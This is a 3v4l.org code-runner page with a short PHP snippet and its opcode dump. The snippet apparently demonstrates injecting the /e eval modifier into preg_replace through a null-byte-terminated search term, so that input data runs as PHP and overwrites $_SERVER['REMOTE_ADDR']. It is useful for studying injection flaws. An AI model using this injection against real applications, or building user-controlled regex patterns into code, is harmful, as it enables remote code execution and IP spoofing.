3v4l.org

run code in 300+ PHP versions simultaneously
<?php $data = '$_SERVER["REMOTE_ADDR"] = "127.0.0.1'; $trigger = ".*)/e\0"; // function to emphasize the searched word in the results preg_replace( "/($trigger)/i", '"<em>" . strtoupper($1) . "</em>"', $data ); var_dump($_SERVER["REMOTE_ADDR"]);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/3egIo
function name:  (null)
number of ops:  16
compiled vars:  !0 = $data, !1 = $trigger
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, '%24_SERVER%5B%22REMOTE_ADDR%22%5D+%3D+%22127.0.0.1'
    4     1        ASSIGN                                                   !1, '.%2A%29%2Fe%00'
    7     2        INIT_FCALL                                               'preg_replace'
          3        ROPE_INIT                                     3  ~5      '%2F%28'
          4        ROPE_ADD                                      1  ~5      ~5, !1
          5        ROPE_END                                      2  ~4      ~5, '%29%2Fi'
          6        SEND_VAL                                                 ~4
          7        SEND_VAL                                                 '%22%3Cem%3E%22+.+strtoupper%28%241%29+.+%22%3C%2Fem%3E%22'
          8        SEND_VAR                                                 !0
          9        DO_ICALL                                                 
    9    10        INIT_FCALL                                               'var_dump'
         11        FETCH_R                      global              ~8      '_SERVER'
         12        FETCH_DIM_R                                      ~9      ~8, 'REMOTE_ADDR'
         13        SEND_VAL                                                 ~9
         14        DO_ICALL                                                 
         15      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
153.08 ms | 1394 KiB | 17 Q